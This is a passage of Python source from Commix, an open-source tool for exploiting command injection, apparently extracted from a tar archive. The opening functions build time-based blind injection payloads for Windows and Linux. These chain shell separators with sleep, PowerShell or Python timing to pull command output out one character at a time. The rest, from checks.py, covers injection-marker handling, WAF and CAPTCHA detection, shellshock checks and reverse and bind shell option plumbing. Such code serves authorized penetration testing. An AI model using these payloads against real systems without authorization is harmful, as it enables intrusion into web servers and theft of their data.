"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
"str=\"$(" + cmd + ")\"" + separator +
"if [ " + str(ascii_char) + " -ne $str ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0 " + separator +
"str=\"$(" + cmd + ")\" " + separator +
"[ " + str(ascii_char) + " -eq $str ] " + separator +
"sleep " + str(timesec)
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator +
"sleep " + str(timesec)
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
# eof commix-3.8/src/core/injections/controller/ 0000775 0000000 0000000 00000000000 14466364451 0020744 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/controller/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0023061 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/controller/checks.py 0000775 0000000 0000000 00000276144 14466364451 0022577 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import io
import re
import os
import sys
import json
import time
import socket
import random
import string
import base64
import gzip
import zlib
import traceback
import subprocess
from glob import glob
from src.utils import common
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.utils import simple_http_server
from src.thirdparty.odict import OrderedDict
from src.core.convert import hexdecode
from socket import error as SocketError
from src.core.requests import requests
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list
try:
from readline import *
import readline as readline
if settings.PLATFORM == "mac":
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
import gnureadline as readline
except:
try:
from pyreadline import *
import pyreadline as readline
except:
settings.READLINE_ERROR = True
"""
Check for custom injection marker (*)
"""
def check_custom_injection_marker(url):
if url and settings.WILDCARD_CHAR in url:
option = "'-u'"
settings.WILDCARD_CHAR_APPLIED = True
elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data:
option = "POST body"
settings.WILDCARD_CHAR_APPLIED = True
else:
option = "option '--headers/--user-agent/--referer/--cookie'"
if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie:
settings.WILDCARD_CHAR_APPLIED = settings.COOKIE_INJECTION = True
menu.options.level = settings.COOKIE_INJECTION_LEVEL
elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent:
settings.WILDCARD_CHAR_APPLIED = settings.USER_AGENT_INJECTION = True
menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer:
settings.WILDCARD_CHAR_APPLIED = settings.REFERER_INJECTION = True
menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers:
_ = True
for data in menu.options.headers.split("\\n"):
# Ignore the Accept HTTP Header
if not data.startswith(settings.ACCEPT):
_ = False
if _:
settings.WILDCARD_CHAR_APPLIED = True
menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
if settings.WILDCARD_CHAR_APPLIED:
if menu.options.test_parameter:
if not settings.MULTI_TARGETS or settings.STDIN_PARSING:
err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") "
err_msg += "cannot be used simultaneously (i.e. only one option must be set)."
print(settings.print_critical_msg(err_msg))
raise SystemExit
while True:
message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". "
message += "Do you want to process it? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
return
elif procced_option in settings.CHOICE_NO:
settings.WILDCARD_CHAR_APPLIED = None
return
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
def skipping_technique(technique, injection_type, state):
if settings.VERBOSITY_LEVEL != 0 and state != True:
debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
print(settings.print_debug_msg(debug_msg))
"""
Skipping of code injection tests.
"""
def skip_code_injection_tests():
while True:
message = "Skipping of code injection tests is recommended. "
message += "Do you agree? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
settings.SKIP_CODE_INJECTIONS = True
return
elif procced_option in settings.CHOICE_NO:
return
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
"""
Skipping of further command injection tests.
"""
def skip_command_injection_tests():
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
_ = ""
else:
_ = "further "
while True:
message = "Skipping of "+ _ +"command injection tests is recommended. "
message += "Do you agree? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
settings.SKIP_COMMAND_INJECTIONS = True
return
elif procced_option in settings.CHOICE_NO:
if settings.SKIP_COMMAND_INJECTIONS:
settings.SKIP_COMMAND_INJECTIONS = False
return
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
"""
The available mobile user agents.
"""
def mobile_user_agents():
menu.mobile_user_agents()
while True:
message = "Which smartphone do you want to imitate through HTTP User-Agent header? > "
mobile_user_agent = common.read_input(message, default="1", check_batch=True)
try:
if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)):
return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)]
elif mobile_user_agent.lower() == "q":
raise SystemExit()
else:
common.invalid_option(mobile_user_agent)
pass
except ValueError:
common.invalid_option(mobile_user_agent)
pass
"""
Run host OS command(s) when injection point is found.
"""
def alert():
if settings.ALERT:
info_msg = "Executing alerting shell command(s) '" + str(menu.options.alert) + "'."
print(settings.print_info_msg(info_msg))
try:
process = subprocess.Popen(menu.options.alert, shell=True)
process.wait()
except Exception as ex:
err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'."
print(settings.print_error_msg(err_msg))
"""
Check for HTTP Method
"""
def check_http_method(url):
if len(settings.HTTP_METHOD) != 0:
http_request_method = settings.HTTP_METHOD.upper()
else:
if not menu.options.data or \
settings.WILDCARD_CHAR in url or \
settings.INJECT_TAG in url or \
[x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]:
http_request_method = settings.HTTPMETHOD.GET
else:
http_request_method = settings.HTTPMETHOD.POST
return http_request_method
"""
User aborted procedure
"""
def user_aborted(filename, url):
abort_msg = "User aborted procedure "
abort_msg += "during the " + assessment_phase()
abort_msg += " phase (Ctrl-C was pressed)."
print(settings.print_abort_msg(abort_msg))
logs.print_logs_notification(filename, url)
common.show_http_error_codes()
os._exit(0)
"""
Connection exceptions
"""
def connection_exceptions(err_msg):
requests.request_failed(err_msg)
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
if settings.MAX_RETRIES > 1:
time.sleep(settings.DELAY_RETRY)
if not settings.MULTI_TARGETS and not settings.CRAWLING:
info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
print(settings.print_info_msg(info_msg))
if not settings.VALID_URL :
if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS:
raise SystemExit()
"""
check for not declared cookie(s)
"""
def not_declared_cookies(response):
try:
set_cookie_headers = []
for set_cookie_header in response.getheaders():
if settings.SET_COOKIE in set_cookie_header:
set_cookie_headers.append(re.search(r'([^;]+);?', set_cookie_header[1]).group(1))
candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_headers)
if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False:
settings.DECLARED_COOKIES = True
if menu.options.cookie:
menu.options.cookie = menu.options.cookie + settings.COOKIE_DELIMITER + candidate
settings.DECLARED_COOKIES = False
else:
if settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
while True:
message = "You have not declared cookie(s), while "
message += "server wants to set its own ('"
message += str(re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate))
message += "'). Do you want to use those [Y/n] > "
set_cookies = common.read_input(message, default="Y", check_batch=True)
if set_cookies in settings.CHOICE_YES:
menu.options.cookie = candidate
break
elif set_cookies in settings.CHOICE_NO:
settings.DECLARED_COOKIES = False
break
elif set_cookies in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(set_cookies)
pass
except (KeyError, TypeError):
pass
"""
Tab Autocompleter
"""
def tab_autocompleter():
try:
# MacOSX tab compliter
if 'libedit' in readline.__doc__:
readline.parse_and_bind("bind ^I rl_complete")
else:
readline.parse_and_bind("tab: complete")
# Tab compliter
readline.set_completer(menu.tab_completer)
except (TypeError, AttributeError) as e:
error_msg = "Failed while trying to use platform's readline library."
print(settings.print_error_msg(error_msg))
"""
Save command history.
"""
def save_cmd_history():
try:
cli_history = os.path.expanduser(settings.CLI_HISTORY)
if os.path.exists(cli_history):
readline.write_history_file(cli_history)
except (IOError, AttributeError) as e:
warn_msg = "There was a problem writing the history file '" + cli_history + "'."
print(settings.print_warning_msg(warn_msg))
"""
Load commands from history.
"""
def load_cmd_history():
try:
cli_history = os.path.expanduser(settings.CLI_HISTORY)
if os.path.exists(cli_history):
readline.read_history_file(cli_history)
except (IOError, AttributeError, UnicodeError) as e:
warn_msg = "There was a problem loading the history file '" + cli_history + "'."
if settings.IS_WINDOWS:
warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'"
print(settings.print_warning_msg(warn_msg))
"""
Get value inside boundaries.
"""
def get_value_inside_boundaries(value):
try:
value = re.search(settings.VALUE_BOUNDARIES, value).group(1)
except Exception as ex:
pass
return value
"""
Check if the value has boundaries.
"""
def value_boundaries(parameter, value, http_request_method):
def check_boundaries_value(parameter, value, http_request_method):
_ = get_value_inside_boundaries(value)
if settings.INJECT_TAG in _:
settings.INJECT_INSIDE_BOUNDARIES = False
return ""
if settings.INJECT_TAG in value:
settings.INJECT_INSIDE_BOUNDARIES = True
return _
while True:
message = "Do you want to inject the provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' inside boundaries?"
message += " ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "') [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
settings.INJECT_INSIDE_BOUNDARIES = True
return _
elif procced_option in settings.CHOICE_NO:
settings.INJECT_INSIDE_BOUNDARIES = False
return ""
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
if menu.options.skip_parameter != None:
for skip_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.skip_parameter):
if parameter.split("=")[0] != skip_parameter:
return check_boundaries_value(skip_parameter, value, http_request_method)
else:
return value
elif menu.options.test_parameter != None :
for test_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.test_parameter):
if parameter.split("=")[0] == test_parameter:
return check_boundaries_value(test_parameter, value, http_request_method)
else:
return value
else:
return check_boundaries_value(parameter, value, http_request_method)
"""
Add the PCRE '/e' modifier outside boundaries.
"""
def PCRE_e_modifier(parameter, http_request_method):
original_parameter = parameter
if not settings.PCRE_MODIFIER in parameter:
try:
if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]:
while True:
message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. "
message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('"
message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > "
modifier_check = common.read_input(message, default="Y", check_batch=True)
if modifier_check in settings.CHOICE_YES:
return original_parameter + settings.PCRE_MODIFIER[1:2]
elif modifier_check in settings.CHOICE_NO:
return original_parameter
elif modifier_check in settings.CHOICE_QUIT:
print(settings.SINGLE_WHITESPACE)
os._exit(0)
else:
common.invalid_option(modifier_check)
pass
except Exception as ex:
pass
return parameter
"""
Ignoring the anti-CSRF parameter(s).
"""
def ignore_anticsrf_parameter(parameter):
if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES):
if (len(parameter.split("="))) == 2:
info_msg = "Ignoring the parameter '" + parameter.split("=")[0]
info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'."
print(settings.print_info_msg(info_msg))
return True
"""
Ignoring the Google analytics cookie parameter.
"""
def ignore_google_analytics_cookie(cookie):
if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX):
if (len(cookie.split("="))) == 2:
info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'."
print(settings.print_info_msg(info_msg))
return True
"""
Fix for %0a, %0d%0a separators
"""
def newline_fixation(payload):
payload = _urllib.parse.unquote(payload)
if "\n" in payload:
#_ = payload.find("\n") + 1
#payload = _urllib.parse.quote(payload[:_]) + payload[_:]
payload = payload.replace("\n","%0a")
if "\r" in payload:
#_ = payload.find("\r\n") + 1
#payload = _urllib.parse.quote(payload[:_]) + payload[_:]
payload = payload.replace("\r","%0d")
return payload
"""
Page enc/decoding
"""
def page_encoding(response, action):
_ = False
page = response.read()
if response.info().get('Content-Encoding') in ("gzip", "x-gzip", "deflate"):
try:
if response.info().get('Content-Encoding') == 'deflate':
data = io.BytesIO(zlib.decompress(page, -15))
elif response.info().get('Content-Encoding') == 'gzip' or \
response.info().get('Content-Encoding') == 'x-gzip':
data = gzip.GzipFile("", "rb", 9, io.BytesIO(page))
page = data.read()
settings.PAGE_COMPRESSION = True
except Exception as e:
if settings.PAGE_COMPRESSION is None:
warn_msg = "Turning off page compression."
print(settings.print_warning_msg(warn_msg))
settings.PAGE_COMPRESSION = False
try:
if action == "encode" and type(page) == str:
return page.encode(settings.DEFAULT_CODEC, errors="ignore")
else:
return page.decode(settings.DEFAULT_CODEC, errors="ignore")
except (UnicodeEncodeError, UnicodeDecodeError) as err:
err_msg = "The " + str(err).split(":")[0] + ". "
_ = True
except (LookupError, TypeError) as err:
err_msg = "The '" + settings.DEFAULT_CODEC + "' is " + str(err).split(":")[0] + ". "
_ = True
pass
if _:
err_msg += "You are advised to rerun with"
err_msg += ('out', '')[menu.options.codec == None] + " the option '--codec'."
print(settings.print_critical_msg(str(err_msg)))
raise SystemExit()
"""
Returns header value ignoring the letter case
"""
def get_header(headers, key):
value = None
for _ in (headers or {}):
if _.upper() == key.upper():
value = headers[_]
break
return value
"""
Checks regarding a recognition of generic "your ip has been blocked" messages.
"""
def blocked_ip(page):
if re.search(settings.BLOCKED_IP_REGEX, page):
warn_msg = "It appears that you have been blocked by the target server."
print(settings.print_bold_warning_msg(warn_msg))
"""
Checks regarding a potential browser verification protection mechanism.
"""
def browser_verification(page):
if not settings.BROWSER_VERIFICATION and re.search(r"(?i)browser.?verification", page or ""):
settings.BROWSER_VERIFICATION = True
warn_msg = "Potential browser verification protection mechanism detected"
if re.search(r"(?i)CloudFlare", page):
warn_msg += " (CloudFlare)."
else:
warn_msg += "."
print(settings.print_bold_warning_msg(warn_msg))
"""
Checks regarding a potential CAPTCHA protection mechanism.
"""
def captcha_check(page):
if not settings.CAPTCHA_DETECED and re.search(r"(?i)captcha", page or ""):
for match in re.finditer(r"(?si)", page):
if re.search(r"(?i)captcha", match.group(0)):
settings.CAPTCHA_DETECED = True
warn_msg = "Potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)[^<]*CloudFlare", page):
warn_msg += " (CloudFlare)."
else:
warn_msg += "."
if settings.CRAWLING:
print(settings.SINGLE_WHITESPACE)
print(settings.print_bold_warning_msg(warn_msg))
break
"""
Checking the reliability of the used payload message.
"""
def check_for_false_positive_result(false_positive_warning):
info_msg = "Checking if the injection point on "
info_msg += settings.CHECKING_PARAMETER + " is a false positive.\n"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model"
if settings.VERBOSITY_LEVEL != 0:
warn_msg = warn_msg + ".\n"
else:
warn_msg = warn_msg +", please wait..."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
"""
False positive or unexploitable injection point detected.
"""
def unexploitable_point():
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
warn_msg = "False positive or unexploitable injection point has been detected."
print(settings.print_bold_warning_msg(warn_msg))
"""
Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase.
"""
def total_of_requests():
debug_msg = "Identified the following injection point with "
debug_msg += "a total of " + str(settings.TOTAL_OF_REQUESTS) + " HTTP(S) requests."
print(settings.print_bold_debug_msg(debug_msg))
"""
Url decode specific chars of the provided payload.
"""
def url_decode(payload):
rep = {
"%20": " ",
"%2B": "+",
"\n": "\\n"
}
rep = dict((re.escape(k), v) for k, v in rep.items())
pattern = re.compile("|".join(rep.keys()))
payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload)
return payload
"""
Checking connection (resolving hostname).
"""
def check_connection(url):
hostname = _urllib.parse.urlparse(url).hostname or ''
if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname):
if not any((menu.options.proxy, menu.options.tor, menu.options.offline)):
try:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Resolving hostname '" + hostname + "'."
print(settings.print_debug_msg(debug_msg))
socket.getaddrinfo(hostname, None)
except socket.gaierror:
err_msg = "Host '" + hostname + "' does not exist."
if not settings.MULTI_TARGETS:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except socket.error:
err_msg = "Problem occurred while "
err_msg += "resolving a host name '" + hostname + "'"
except UnicodeError:
err_msg = "Problem occurred while "
err_msg += "handling a host name '" + hostname + "'"
if not settings.MULTI_TARGETS:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Check current assessment phase.
"""
def assessment_phase():
if settings.DETECTION_PHASE:
if settings.CRAWLING_PHASE:
return "crawling"
else:
return "detection"
else:
return "exploitation"
"""
Check current assessment phase.
"""
def check_injection_level():
try:
# Checking testable parameters for cookies
if menu.options.cookie:
if settings.COOKIE_DELIMITER in menu.options.cookie:
cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER)
for cookie in cookies:
if cookie.split("=")[0].strip() in menu.options.test_parameter:
menu.options.level = settings.COOKIE_INJECTION_LEVEL
elif menu.options.cookie.split("=")[0] in menu.options.test_parameter:
menu.options.level = settings.COOKIE_INJECTION_LEVEL
# Checking testable HTTP headers for user-agent / referer / host
if any(x in menu.options.test_parameter for x in settings.HTTP_HEADERS):
menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
except Exception as ex:
return
"""
Procced to the next attack vector.
"""
def next_attack_vector(technique, go_back):
while True:
message = "Do you want to continue with testing the " + technique + "? [y/N] > "
next_attack_vector = common.read_input(message, default="N", check_batch=True)
if next_attack_vector in settings.CHOICE_YES:
# Check injection state
assessment_phase()
return True
elif next_attack_vector in settings.CHOICE_NO:
return False
elif next_attack_vector in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(next_attack_vector)
pass
"""
Fix single / double quote escaping.
"""
def escaped_cmd(cmd):
if "\\\"" in cmd :
cmd = cmd.replace("\\\"","\"")
if "\'" in cmd :
cmd = cmd.replace("\'","'")
if "\$" in cmd :
cmd = cmd.replace("\$","$")
return cmd
"""
Removing the first and/or last line of the html content (in case there are/is empty).
"""
def remove_empty_lines(content):
try:
if content[0] == "\n":
content = content[1:content.rfind("\n")]
if content[-1] == "\n":
content = content[:content.rfind("\n")]
except IndexError:
pass
return content
"""
Check 'os_shell' options
"""
def check_os_shell_options(cmd, technique, go_back, no_result):
if cmd in settings.SHELL_OPTIONS:
if cmd == "?":
menu.os_shell_options()
elif cmd == "back":
if next_attack_vector(technique, go_back) == True:
return True
else:
return False
else:
return cmd
"""
Procced with file-based semiblind command injection technique,
once the user provides the path of web server's root directory.
"""
def procced_with_file_based_technique():
while True:
message = "Due to the provided '--web-root' option,"
message += " do you want to procced with the (semi-blind) "
message += "file-based injection technique? [y/N] > "
enable_fb = common.read_input(message, default="N", check_batch=True)
if enable_fb in settings.CHOICE_YES:
return True
elif enable_fb in settings.CHOICE_NO:
return False
elif enable_fb in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enable_fb)
pass
"""
Check 'reverse_tcp' options
"""
def check_reverse_tcp_options(reverse_tcp_option):
if reverse_tcp_option == False:
return 0
elif reverse_tcp_option == "back":
return 1
elif reverse_tcp_option == "os_shell":
return 2
elif reverse_tcp_option == "bind_tcp":
return 3
"""
Check 'bind_tcp' options
"""
def check_bind_tcp_options(bind_tcp_option):
if bind_tcp_option == False:
return 0
elif bind_tcp_option == "back":
return 1
elif bind_tcp_option == "os_shell":
return 2
elif bind_tcp_option == "reverse_tcp":
return 3
"""
Ignore error messages and continue the tests.
"""
def continue_tests(err):
# Ignoring (problematic) HTTP error codes.
if menu.options.ignore_code:
for error_code in settings.HTTP_ERROR_CODES:
if menu.options.ignore_code == error_code:
settings.WAF_ENABLED = True
return True
# Possible WAF/IPS/IDS
try:
if (str(err.code) == settings.FORBIDDEN_ERROR or \
str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \
not menu.options.skip_waf and \
not settings.HOST_INJECTION :
# Check if "--skip-waf" option is defined (to skip heuristic detection of WAF/IPS/IDS protection).
settings.WAF_ENABLED = True
warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS."
print(settings.print_warning_msg(warn_msg))
while True:
message = "Do you want to ignore the response HTTP error code '" + str(err.code)
message += "' and continue the tests? [Y/n] > "
continue_tests = common.read_input(message, default="Y", check_batch=True)
if continue_tests in settings.CHOICE_YES:
return True
elif continue_tests in settings.CHOICE_NO:
return False
elif continue_tests in settings.CHOICE_QUIT:
return False
else:
common.invalid_option(continue_tests)
pass
except AttributeError:
pass
except KeyboardInterrupt:
raise
"""
Check if option is unavailable
"""
def unavailable_option(check_option):
warn_msg = "The option '" + check_option + "' "
warn_msg += "is not yet supported Windows targets."
print(settings.print_warning_msg(warn_msg))
"""
Transformation of separators if time-based injection
"""
def time_based_separators(separator, http_request_method):
if separator == "||" or separator == "&&" :
separator = separator[:1]
if menu.options.data:
separator = _urllib.parse.quote(separator)
return separator
"""
Information message if platform does not have
GNU 'readline' module installed.
"""
def no_readline_module():
err_msg = "It seems that your platform does "
err_msg += "not have GNU 'readline' module installed."
err_msg += " Download the"
if settings.IS_WINDOWS:
err_msg += " 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead."
elif settings.PLATFORM == "mac":
err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)."
print(settings.print_critical_msg(err_msg))
"""
Check for incompatible OS (i.e Unix).
"""
def ps_incompatible_os():
if not settings.TARGET_OS == settings.OS.WINDOWS:
warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch."
print(settings.print_warning_msg(warn_msg))
return True
"""
Check if PowerShell is enabled.
"""
def ps_check():
if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
while True:
message = "The payloads in some options that you "
message += "have chosen are requiring the use of powershell. "
message += "Do you want to use the \"--ps-version\" flag "
message += "to ensure that is enabled? [Y/n] > "
ps_check = common.read_input(message, default="Y", check_batch=True)
if ps_check in settings.CHOICE_YES:
menu.options.ps_version = True
break
elif ps_check in settings.CHOICE_NO:
break
elif ps_check in settings.CHOICE_QUIT:
print(settings.SINGLE_WHITESPACE)
os._exit(0)
else:
common.invalid_option(ps_check)
pass
"""
If PowerShell is disabled.
"""
def ps_check_failed():
while True:
message = "Do you want to ignore the above warning "
message += "and continue the procedure? [Y/n] > "
ps_check = common.read_input(message, default="Y", check_batch=True)
if ps_check in settings.CHOICE_YES:
break
elif ps_check in settings.CHOICE_NO:
print(settings.SINGLE_WHITESPACE)
os._exit(0)
else:
common.invalid_option(ps_check)
pass
"""
Check if CGI scripts (shellshock injection).
"""
def check_CGI_scripts(url):
try:
CGI_SCRIPTS = []
if not os.path.isfile(settings.CGI_SCRIPTS ):
err_msg = "The pages / scripts list (" + settings.CGI_SCRIPTS + ") is not found"
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if len(settings.CGI_SCRIPTS ) == 0:
err_msg = "The " + settings.CGI_SCRIPTS + " list is empty."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
with open(settings.CGI_SCRIPTS , "r") as f:
for line in f:
line = line.strip()
CGI_SCRIPTS.append(line)
except IOError:
err_msg = " Check if the " + settings.CGI_SCRIPTS + " list is readable or corrupted."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
_ = False
for cgi_script in CGI_SCRIPTS:
if cgi_script in url:
info_msg = "Heuristic (basic) tests shows that target URL might contain a script "
info_msg += "vulnerable to shellshock. "
_ = True
print(settings.print_bold_info_msg(info_msg))
while True:
message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > "
shellshock_check = common.read_input(message, default="Y", check_batch=True)
if shellshock_check in settings.CHOICE_YES:
menu.options.shellshock = True
break
elif shellshock_check in settings.CHOICE_NO:
menu.options.shellshock = False
break
elif shellshock_check in settings.CHOICE_QUIT:
print(settings.SINGLE_WHITESPACE)
os._exit(0)
else:
common.invalid_option(shellshock_check)
pass
if not _:
menu.options.shellshock = False
"""
Check if http / https.
"""
def check_http_s(url):
if settings.SINGLE_WHITESPACE in url:
url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
if settings.CHECK_INTERNET:
url = settings.CHECK_INTERNET_ADDRESS
else:
try:
if re.search(r'^(?:http)s?://', url, re.I):
